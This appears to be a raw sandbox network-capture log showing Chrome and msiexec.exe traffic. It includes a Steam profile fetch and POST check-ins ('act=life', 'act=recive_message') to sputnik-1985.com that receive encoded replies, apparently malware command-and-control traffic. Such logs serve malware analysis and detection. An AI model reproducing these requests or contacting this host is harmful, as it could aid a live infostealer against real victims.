57 4a 6a 63 34 59 6a 45 70 59 47 46 58 56 6d 52 54 59 6d 63 36 65 47 35 4b 53 59 49 Data Ascii: f6N+oa+XxLTAwry+voXFqMWlyNaOl9Dakpvdy9iRt63irtm+2bno3uq/1dip6uqtqerO7a/Nz9j658veufnuvQL63gPA8MLTCev6yQ7L6g7KEOv1GPIO6Q7tzhrXCusAE+4a9hr5KvQrJSYPJyYn7TMrDyw29y4KMxH2LfcsGBNDDzoZOhr6RQNHOj1AJ1JBLgsQRRQtTEUXLVgcWxkxTi9RJB0xP2MyMyJWJjc4YjEpYGFXVmRTYmc6eG5KSYI
2025-01-11 08:26:12 UTC	1369	IN	Data Raw: 49 78 72 43 7a 74 38 4f 32 73 37 75 34 73 4f 44 4f 7a 4e 65 68 76 61 44 6a 30 36 65 64 31 37 79 33 32 62 44 75 32 39 2b 30 7a 50 66 6a 75 4e 48 46 35 37 7a 56 36 41 44 78 34 4e 72 59 32 62 7a 37 38 74 58 65 79 4d 49 4b 35 77 66 67 2b 41 54 69 43 2b 30 4b 34 41 38 58 30 4f 77 56 43 41 66 56 2b 2f 62 36 2b 64 6e 66 39 41 44 7a 2f 41 66 71 2b 2b 51 4d 43 77 76 2b 35 78 76 72 4e 69 2f 79 37 69 63 48 50 50 55 47 47 52 45 56 4c 41 72 35 2f 52 38 78 2f 53 51 44 52 79 58 39 4c 43 31 47 4d 53 55 4c 51 79 4d 6c 45 31 41 6a 46 46 4a 58 48 42 68 64 58 56 52 66 47 55 41 6b 56 46 67 35 4e 31 67 38 4e 44 56 47 4b 43 39 51 53 55 34 7a 4d 32 74 67 51 57 63 77 4e 33 68 45 64 47 6c 57 4f 56 6c 34 62 6d 52 2b 63 46 46 33 64 45 68 44 53 6b 64 35 68 48 74 6d 63 6c 74 63 69 70 Data Ascii: IxrCzt8O2s7u4sODOzNehvaDj06ed17y32bDu29+0zPfjuNHF57zV6ADx4NrY2bz78tXeyMIK5wfg+ATiC+0K4A8X0OwVCAfV+/b6+dnf9ADz/Afq++QMCwv+5xvrNi/y7icHPPUGGREVLAr5/R8x/SQDRyX9LC1GMSULQyMlE1AjFFJXHBhdXVRfGUAkVFg5N1g8NDVGKC9QSU4zM2tgQWcwN3hEdGlWOVl4bmR+cFF3dEhDSkd5hHtmcltcip
2025-01-11 08:26:12 UTC	1369	IN	Data Raw: 32 4e 65 31 6d 61 79 73 75 62 75 58 75 72 44 6d 76 72 7a 6a 36 72 2f 4e 79 71 6a 6a 78 4d 4c 55 78 36 33 54 7a 64 4c 52 73 74 48 4a 37 4f 33 52 30 4e 6e 58 31 72 7a 33 34 50 6a 69 79 66 67 4a 77 2f 62 49 37 4d 34 51 2f 75 37 6c 35 52 45 4e 39 4f 73 48 33 50 4d 62 38 67 73 4d 41 4e 33 2b 38 2f 33 67 4a 41 73 42 2b 53 77 70 36 79 6f 45 48 6a 4d 46 43 52 49 6b 37 75 38 47 4a 7a 45 78 42 68 51 36 2f 76 77 35 4d 42 37 37 49 69 41 64 45 69 49 44 46 77 41 70 49 42 77 4c 56 46 46 46 53 43 67 6e 47 53 38 6a 56 52 63 6d 58 53 74 59 4b 6a 73 30 56 53 34 6e 59 69 63 6c 59 6a 70 47 4a 45 70 49 53 43 52 66 58 57 6b 2b 4b 57 46 69 55 43 31 4f 57 48 4e 57 62 47 31 53 55 56 42 6d 62 6c 4a 51 66 6d 6c 33 54 48 6c 4f 53 58 46 4a 57 6d 47 53 58 57 64 57 55 32 5a 6c 6a 48 64 Data Ascii: 2Ne1maysubuXurDmvrzj6r/NyqjjxMLUx63TzdLRstHJ7O3R0NnX1rz34PjiyfgJw/bI7M4Q/u7l5REN9OsH3PMb8gsMAN3+8/3gJAsB+Swp6yoEHjMFCRIk7u8GJzExBhQ6/vw5MB77IiAdEiIDFwApIBwLVFFFSCgnGS8jVRcmXStYKjs0VS4nYiclYjpGJEpISCRfXWk+KWFiUC1OWHNWbG1SUVBmblJQfml3THlOSXFJWmGSXWdWU2ZljHd
2025-01-11 08:26:12 UTC	1369	IN	Data Raw: 75 47 34 73 39 2f 59 77 38 44 6a 36 35 2f 41 36 4f 37 74 78 4f 7a 78 38 63 6a 77 38 2f 58 4d 39 50 62 35 30 50 6a 35 37 64 62 35 31 65 62 6e 32 62 2f 6a 76 41 44 6f 42 64 73 4a 7a 4d 7a 4f 37 51 2f 51 36 77 30 4a 30 74 6b 4e 42 2f 4d 4b 33 50 77 61 34 52 55 47 4a 53 50 32 46 4f 51 6d 43 2f 7a 6d 46 77 49 6c 4b 79 51 77 45 67 6f 4e 4a 42 4d 48 2b 53 6f 5a 4b 78 41 61 4b 52 77 75 45 54 6f 47 4f 79 55 6f 46 30 67 56 43 68 68 48 49 43 4d 70 4c 6b 31 46 44 30 63 52 52 45 4d 79 56 46 51 79 4d 68 31 55 59 6b 34 39 51 7a 39 69 55 56 56 4b 4f 56 39 43 4c 45 70 48 62 6d 64 4d 62 6c 52 4e 59 48 67 7a 64 31 59 7a 4e 33 74 61 50 7a 74 2f 58 30 77 2f 67 32 4e 58 58 59 42 44 51 31 68 70 65 6d 46 4c 61 32 36 41 56 57 6c 54 54 6b 75 56 6c 35 75 46 6c 48 75 52 6d 5a 78 36 Data Ascii: uG4s9/Yw8Dj65/A6O7txOzx8cjw8/XM9Pb50Pj57db51ebn2b/jvADoBdsJzMzO7Q/Q6w0J0tkNB/MK3Pwa4RUGJSP2FOQmC/zmFwIlKyQwEgoNJBMH+SoZKxAaKRwuEToGOyUoF0gVChhHICMpLk1FD0cRREMyVFQyMh1UYk49Qz9iUVVKOV9CLEpHbmdMblRNYHgzd1YzN3taPzt/X0w/g2NXXYBDQ1hpemFLa26AVWlTTkuVl5uFlHuRmZx6
2025-01-11 08:26:12 UTC	1369	IN	Data Raw: 4f 6a 77 4e 6e 65 71 4f 4f 2b 7a 74 33 41 7a 61 2f 41 74 75 62 71 2b 4e 50 4a 36 2b 6d 33 79 2b 37 65 77 4d 45 45 2f 64 50 46 2b 4e 72 45 31 51 7a 38 7a 4f 6a 64 43 2b 6e 52 41 76 54 6f 34 75 62 6f 39 76 6e 57 48 50 72 34 41 42 66 2b 4a 52 66 6e 48 67 49 6d 36 68 77 44 35 41 6b 4d 42 67 4d 75 35 68 34 31 36 53 6f 58 39 67 38 32 4f 42 34 61 39 7a 54 38 44 52 67 63 46 55 49 64 41 53 4d 55 42 45 41 2b 4a 43 63 63 4b 6a 34 31 48 69 42 43 4a 79 52 61 47 30 6f 63 4b 46 5a 4f 4c 46 45 76 47 7a 5a 56 49 31 4d 6d 57 57 55 73 4a 45 5a 64 4b 79 39 68 4b 32 51 32 64 58 5a 71 52 47 6c 79 53 6a 42 49 66 6d 46 50 63 55 78 4e 56 6c 39 6f 64 55 65 4a 66 55 31 5a 57 56 39 4f 57 6c 31 66 69 56 53 55 64 49 68 69 63 35 32 52 61 59 32 68 6e 56 35 38 57 35 4a 6b 6b 35 5a 33 59 Data Ascii: OjwNneqOO+zt3Aza/Atubq+NPJ6+m3y+7ewMEE/dPF+NrE1Qz8zOjdC+nRAvTo4ubo9vnWHPr4ABf+JRfnHgIm6hwD5AkMBgMu5h416SoX9g82OB4a9zT8DRgcFUIdASMUBEA+JCccKj41HiBCJyRaG0ocKFZOLFEvGzZVI1MmWWUsJEZdKy9hK2Q2dXZqRGlySjBIfmFPcUxNVl9odUeJfU1ZWV9OWl1fiVSUdIhic52RaY2hnV58W5Jkk5Z3Y
2025-01-11 08:26:12 UTC	1369	IN	Data Raw: 5a 36 36 58 7a 35 4b 2f 6d 37 4f 62 61 7a 4c 72 37 38 2f 62 30 37 37 33 52 34 2f 4c 56 35 50 7a 38 78 65 44 48 2b 66 63 50 43 77 2f 36 30 4e 4d 4e 2f 67 41 53 46 4f 67 63 32 52 6f 58 43 42 4d 61 39 43 51 6c 44 2f 6e 38 49 53 66 6f 2b 66 73 57 2f 42 48 77 49 43 67 78 2f 69 49 72 49 41 51 6f 48 43 66 37 4b 52 30 6f 49 44 44 38 4d 77 46 44 47 53 5a 45 51 55 41 56 52 30 68 49 49 6b 6c 51 53 79 35 4b 55 7a 38 56 47 45 4a 55 44 6c 78 4e 47 45 39 56 54 30 4d 31 49 32 52 63 58 31 31 59 4a 6a 70 4d 57 7a 35 4e 5a 57 55 75 53 54 42 69 59 48 68 74 63 58 4e 74 52 33 56 33 62 33 39 72 56 6c 61 46 66 57 39 78 55 34 46 7a 61 6b 32 4d 58 59 68 48 6a 48 4e 2f 69 33 65 4d 55 57 4f 47 57 6d 31 61 66 35 56 32 61 70 56 64 6f 31 32 48 6e 70 52 30 6c 6e 71 67 62 4b 57 58 6d 4b Data Ascii: Z66Xz5K/m7ObazLr78/b0773R4/LV5Pz8xeDH+fcPCw/60NMN/gASFOgc2RoXCBMa9CQlD/n8ISfo+fsW/BHwICgx/iIrIAQoHCf7KR0oIDD8MwFDGSZEQUAVR0hIIklQSy5KUz8VGEJUDlxNGE9VT0M1I2RcX11YJjpMWz5NZWUuSTBiYHhtcXNtR3V3b39rVlaFfW9xU4Fzak2MXYhHjHN/i3eMUWOGWm1af5V2apVdo12HnpR0lnqgbKWXmK
2025-01-11 08:26:12 UTC	1369	IN	Data Raw: 36 2f 4c 4d 34 2f 44 32 35 74 37 49 2b 4f 72 37 41 50 33 75 35 51 4d 42 78 77 6a 2b 42 65 4c 5a 42 41 76 36 46 41 30 4f 44 78 41 4d 45 65 77 51 45 42 7a 77 43 42 51 61 33 79 41 58 48 52 38 67 48 69 49 54 42 2f 51 6c 4a 79 41 6f 4b 69 76 73 4c 43 34 76 45 69 34 79 2b 51 59 78 4e 76 73 73 4d 7a 6f 56 52 44 77 2f 4c 7a 41 38 53 42 30 30 52 30 56 48 4b 6b 5a 4a 4a 54 78 4c 54 54 38 33 49 56 45 59 52 46 52 58 52 31 78 57 57 54 56 6b 56 31 30 37 4d 6c 35 68 4b 46 78 6b 5a 69 78 6f 5a 32 6f 77 63 47 68 30 53 57 52 77 63 57 4e 30 62 33 5a 33 64 48 74 35 61 34 46 4e 66 55 53 41 65 34 46 64 65 49 53 46 68 35 43 44 69 6d 64 65 69 34 31 70 55 59 2b 53 67 35 69 51 6c 34 64 36 6e 4b 42 31 6a 4a 36 65 6a 35 69 64 6f 57 69 59 6f 36 61 44 65 71 65 70 63 49 36 70 72 61 2b Data Ascii: 6/LM4/D25t7I+Or7AP3u5QMBxwj+BeLZBAv6FA0ODxAMEewQEBzwCBQa3yAXHR8gHiITB/QlJyAoKivsLC4vEi4y+QYxNvssMzoVRDw/LzA8SB00R0VHKkZJJTxLTT83IVEYRFRXR1xWWTVkV107Ml5hKFxkZixoZ2owcGh0SWRwcWN0b3Z3dHt5a4FNfUSAe4FdeISFh5CDimdei41pUY+Sg5iQl4d6nKB1jJ6ej5idoWiYo6aDeqepcI6pra+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49801	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:13 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1949578411:1736583276:eR2EiY8VxPNeRyNah4G3ZsTQP2lUjkNd2lfAbj45mRU/9003851e0d620f5f/JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:13 UTC	375	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 08:26:13 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: LTdCA9h2cG81RB6JpCQsDQ==$WPHRhB+ZDMcqH4hqXH+8vw== Server: cloudflare CF-RAY: 900385480be20c7c-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:13 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49839	104.102.49.254	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:19 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-11 08:26:19 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 11 Jan 2025 08:26:19 GMT Content-Length: 35126 Connection: close Set-Cookie: sessionid=b431d9ff100974726524c874; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-11 08:26:19 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-11 08:26:19 UTC	16384	IN	Data Raw: 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f Data Ascii: ity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPO
2025-01-11 08:26:19 UTC	3768	IN	Data Raw: 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_
2025-01-11 08:26:19 UTC	495	IN	Data Raw: 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 Data Ascii: criber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49850	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:20 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sputnik-1985.com
2025-01-11 08:26:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-11 08:26:20 UTC	1121	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dfhk98ttofamaiugdrmor6jl5u; expires=Wed, 07 May 2025 02:12:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rOYL%2F29PuDFxbbbhNkaAPPvfvtd3OrQQVlHKrsjpEIWp8caLVcE49hZYtybS%2FdtdjeCNJIl0Yjt2IUeVCxKcbnw7UBRwsf0cAELeXl%2BJemOtve8iNPiInycEu1vygomOYgd5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385764b0bde9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1642&min_rtt=1632&rtt_var=632&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=1702623&cwnd=209&unsent_bytes=0&cid=9b8ee07d465b2910&ts=421&x=0"
2025-01-11 08:26:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-11 08:26:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49857	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:21 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: sputnik-1985.com
2025-01-11 08:26:21 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 44 76 68 38 75 69 2d 2d 33 33 33 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=Dvh8ui--333&j=
2025-01-11 08:26:22 UTC	1117	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qq7a38ntqqvuq6vsk0t0ttd9r2; expires=Wed, 07 May 2025 02:13:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xZuMrLHEzuZ55nDwk2wYKxXFRT2%2BtIjqHrh1tgsreqPc8LIF7csjNynEJfzg7oJuiKsc5GpRT055EoWgddVBPK18avV8lxbv6xaZLxDaum85qgpAAJOqqVsiq6Y3Z4VTm6da"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9003857cbe774363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1564&rtt_var=592&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=945&delivery_rate=1867007&cwnd=240&unsent_bytes=0&cid=4217deaa85b3a786&ts=515&x=0"
2025-01-11 08:26:22 UTC	252	IN	Data Raw: 34 39 39 34 0d 0a 75 6c 74 41 4c 4c 63 68 6b 53 6c 4e 77 6d 36 4e 58 63 6f 58 79 49 77 39 6d 49 44 76 70 45 4c 6a 6d 6f 65 77 44 5a 6d 36 77 39 76 42 65 54 59 4f 6a 52 57 39 43 7a 36 6e 54 4c 63 70 75 47 4b 74 6f 42 2f 35 35 4d 32 65 4a 49 4c 32 39 4e 55 68 75 38 79 75 2b 59 41 39 49 55 44 45 52 4c 30 4c 4b 4c 70 4d 74 77 61 78 4e 61 33 69 48 36 4b 69 69 73 34 67 67 76 62 6c 30 57 62 32 79 71 2b 34 30 6a 63 6e 52 4e 4a 43 39 55 67 68 72 77 76 6f 4f 4b 74 39 70 75 56 51 38 4f 33 4e 69 47 43 47 34 4b 57 4b 4c 39 54 66 74 37 72 33 4f 6a 4e 48 6c 56 79 39 55 6d 2b 6e 41 4b 39 6e 36 48 61 74 37 6c 48 2b 35 49 54 4d 4b 6f 76 2b 35 4e 52 6e 36 64 4f 6c 73 39 49 35 4a 45 58 59 53 2b 46 46 4b 36 67 41 37 6a 4b 72 4e 65 53 75 57 4f 4b 69 31 59 5a 7a 73 2f Data Ascii: 4994ultALLchkSlNwm6NXcoXyIw9mIDvpELjmoewDZm6w9vBeTYOjRW9Cz6nTLcpuGKtoB/55M2eJIL29NUhu8yu+YA9IUDERL0LKLpMtwaxNa3iH6Kiis4ggvbl0Wb2yq+40jcnRNJC9UghrwvoOKt9puVQ8O3NiGCG4KWKL9Tft7r3OjNHlVy9Um+nAK9n6Hat7lH+5ITMKov+5NRn6dOls9I5JEXYS+FFK6gA7jKrNeSuWOKi1YZzs/
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 76 30 77 33 72 32 79 4b 66 35 78 33 63 37 44 74 4a 50 73 78 4e 76 71 41 44 68 4f 71 74 36 72 65 39 66 36 4f 32 4e 78 53 69 4a 2f 4f 2f 64 59 50 54 57 71 37 37 51 4d 43 56 42 30 6b 76 31 52 43 7a 67 51 71 38 34 73 44 58 79 72 6e 2f 71 34 59 37 53 4c 5a 43 34 2b 70 78 32 75 39 2b 74 2b 59 42 35 4a 45 44 55 54 76 4e 5a 4a 36 73 48 36 69 32 6a 66 4b 66 6a 58 2f 66 6f 67 73 55 67 68 76 4c 76 33 57 58 2f 31 61 79 2f 32 44 6c 69 41 4a 56 45 36 77 74 33 34 43 2f 71 4c 36 39 35 76 4b 78 6c 75 76 33 44 33 32 43 47 39 4b 57 4b 4c 2f 50 64 6f 72 72 54 4e 69 46 47 33 6c 48 7a 57 53 6d 74 43 66 30 35 72 58 75 67 37 55 33 77 37 49 76 46 4b 59 72 78 34 4e 56 72 75 35 62 68 76 73 42 35 65 67 37 30 54 76 68 48 4a 62 63 4d 72 79 44 6d 62 4f 72 70 55 37 71 36 7a 63 49 68 68 Data Ascii: v0w3r2yKf5x3c7DtJPsxNvqADhOqt6re9f6O2NxSiJ/O/dYPTWq77QMCVB0kv1RCzgQq84sDXyrn/q4Y7SLZC4+px2u9+t+YB5JEDUTvNZJ6sH6i2jfKfjX/fogsUghvLv3WX/1ay/2DliAJVE6wt34C/qL695vKxluv3D32CG9KWKL/PdorrTNiFG3lHzWSmtCf05rXug7U3w7IvFKYrx4NVru5bhvsB5eg70TvhHJbcMryDmbOrpU7q6zcIhh
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 6f 34 35 6a 35 2b 66 49 36 4e 6b 33 66 41 63 5a 49 49 61 34 4c 2b 58 2b 33 4f 37 4f 75 57 50 61 69 31 59 59 74 67 50 44 6a 77 47 44 32 32 36 2b 33 31 7a 77 74 52 74 56 44 2f 6b 34 72 71 77 66 73 4d 71 78 6e 6f 4f 35 58 2f 2b 4f 48 7a 47 44 50 75 4f 4c 4b 4c 36 4f 59 6b 4b 37 54 65 78 64 4e 32 30 33 30 58 57 2b 2f 51 76 5a 2f 72 33 6e 71 74 68 2f 33 36 6f 6a 44 4c 34 44 79 36 39 64 6c 39 39 43 76 75 73 6f 32 4a 6b 37 5a 53 2f 6c 47 49 61 51 45 35 6a 53 6a 63 36 72 76 56 62 71 73 7a 63 45 34 77 61 43 6c 35 6d 6a 33 31 61 37 37 37 54 6f 73 51 4e 4a 56 73 31 52 68 75 55 7a 6f 4d 2b 67 74 36 75 4a 57 2b 75 6d 48 77 69 43 47 39 65 44 52 61 50 6a 56 70 72 50 57 50 69 5a 43 33 45 37 31 53 79 69 6b 43 66 30 36 6f 58 6d 6d 72 68 47 36 35 5a 57 47 65 4d 48 58 34 73 Data Ascii: o45j5+fI6Nk3fAcZIIa4L+X+3O7OuWPai1YYtgPDjwGD226+31zwtRtVD/k4rqwfsMqxnoO5X/+OHzGDPuOLKL6OYkK7TexdN2030XW+/QvZ/r3nqth/36ojDL4Dy69dl99Cvuso2Jk7ZS/lGIaQE5jSjc6rvVbqszcE4waCl5mj31a777TosQNJVs1RhuUzoM+gt6uJW+umHwiCG9eDRaPjVprPWPiZC3E71SyikCf06oXmmrhG65ZWGeMHX4s
